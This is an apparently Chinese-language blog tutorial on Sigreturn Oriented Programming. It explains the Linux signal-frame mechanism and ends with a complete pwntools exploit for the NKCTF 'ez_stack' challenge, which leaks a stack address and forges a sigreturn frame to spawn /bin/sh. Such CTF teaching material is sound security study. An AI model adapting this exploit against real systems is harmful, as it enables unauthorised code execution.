SROP exploit
🔨

SROP exploit

Tags
Pwn
Stack Overflow
ROP
Published
March 28, 2023
Author
Mas0n

Introduction

在x86/amd64上,传统的ROP利用通常必须具备足以实现攻击数量的gadgets以及明确的gadgets地址,而在缺乏合适的gadgets情况下,利用过程会变的非常艰辛。
2014年 Vrije Universiteit Amsterdam 的 Erik Bosman 提出了SROP (i.e. Sigreturn Oriented Programming)
其利用了类Unix中提供signal机制,而类Unix系统发生 signal 的时候会间接地调用sigreturn

Signal handler mechanism

类 Unix 系统的中断信号机制基本流程:
  1. 内核发送中断信号
  1. 用户态程序进程挂起
  1. 内核保留用户态进程上下文
  1. 处理信号
  1. 切换到用户态调用 Signal Handler
  1. 用户态执行rt_sigreturn,内核恢复用户态上下文
  1. 切回用户态,用户进程恢复执行
流程图表示如下
notion image
struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2; };
当进程上下文被内核保存在栈上后,内核将rt_sigreturn放置在栈顶,也就是说在 Signal Handler 调用完成之后,将会执行rt_sigreturn恢复进程上下文,如下图所示:
notion image
这里将这段内存被称为Signal Frame

SROP

首先简单介绍下 Signal Frame 的缺陷
  • Signal Frame 是存储在用户进程的地址空间,用户进程具有读写权限。
  • 内核恢复进程时,并不校验前后 Signal Frame
在信号处理过程中,内核将上下文保存在 Signal Frame 中,而后在信号处理完毕后将上下文恢复。
由于Signal Frame 缺陷,我们可以伪造一个上下文主动调用rt_sigreturn实现上下文的控制。
利用条件
  • 通过栈溢出来控制栈的内容
  • 需要知道相应的地址
    • "/bin/sh"
    • Signal Frame
    • syscall
    • sigreturn
当然,这里的sigreturn我们也可以通过构造syscall实现。

exploit

总体而言,最终我们需要构造如下图所示的上下文
notion image
而如果我们需要实现一系列函数调用,我们只需要改动两处:
  • 控制栈指针
  • 控制rip指向syscall; ret gadgets

E.g. ez_stack - NKCTF

明显是一个栈溢出,开了NX,排除栈上执行shellcode
notion image
可利用的gadgets几乎没有
上SROP
首先是leak stack address
思路是构造系统调用write
找到syscall; ret
notion image
通过read改变rax实现系统调用write
泄露stack addr之后,构造 Signal Frame 而后系统调用rt_sigreturn完成攻击
from pwn import * from icecream import ic import time context.terminal = ['tmux', 'splitw', '-h'] context(log_level='debug') # context.arch = 'i386' context.arch = 'amd64' context.endian = 'little' p = process(['ez_stack']) # send sd = lambda m : p.send(m) sdl = lambda m : p.sendline(m) sdls = lambda m : p.sendlines(m) sdla = lambda a, m : p.sendlineafter(a, m) # recv rv = lambda n=None: p.recv(n) rvn = lambda n : p.recvn(n) rvu = lambda m : p.recvuntil(m, drop=True) rvl = lambda : p.recvline() # p pi = lambda : p.interactive() # gdb gab = lambda f : gdb.attach(p, f'b * {f}') # gdb attach breakpoint # * Start attach write_syscall = 0x04011DC mov_rdi_rax = 0x04011EB mov_rax_0xf_ret = 0x0401146 syscall_ret = 0x040114E """ read(0, buf, 0x100) -> syscall; ret """ payload = cyclic(0x10) payload += cyclic(8) # * padding: pop rbp payload += p64(syscall_ret) # ! 1. syscall; ret -> read(0, buf, 0x200) -> rax = 1 payload += p64(mov_rdi_rax) # ! 2. rdi = rax = 1; write(1, buf, 0x200) -> leak stack addr payload += cyclic(8) # * padding: pop rbp payload += p64(write_syscall) # * exploit sdla(b'Welcome to the binary world of NKCTF!', payload) """ mov rax, 1; syscall; ret -> write() """ payload = cyclic(0x1) sleep(0.1) sd(payload) """ leak stack addr """ rvl() # skip '\n' leak = rv(0x200)[0x38: 0x38 + 8].ljust(8, b'\x00') stack_addr = u64(leak) ic(hex(stack_addr)) """ call rt_sigreturn """ fr = SigreturnFrame() fr.rax = constants.SYS_execve # execve fr.rdi = stack_addr - 0x10a + 0x30 fr.rsi = 0 fr.rdx = 0 fr.rip = syscall_ret fr.rsp = stack_addr payload = cyclic(8) payload += b'/bin/sh'.ljust(0x8, b'\x00') payload += cyclic(8) payload += p64(mov_rax_0xf_ret) # ! 3. mov rax, 0xf; ret (SYS_rt_sigreturn) payload += p64(syscall_ret) # ! 4. syscall; ret payload += bytes(fr) sleep(0.1) sd(payload) pi()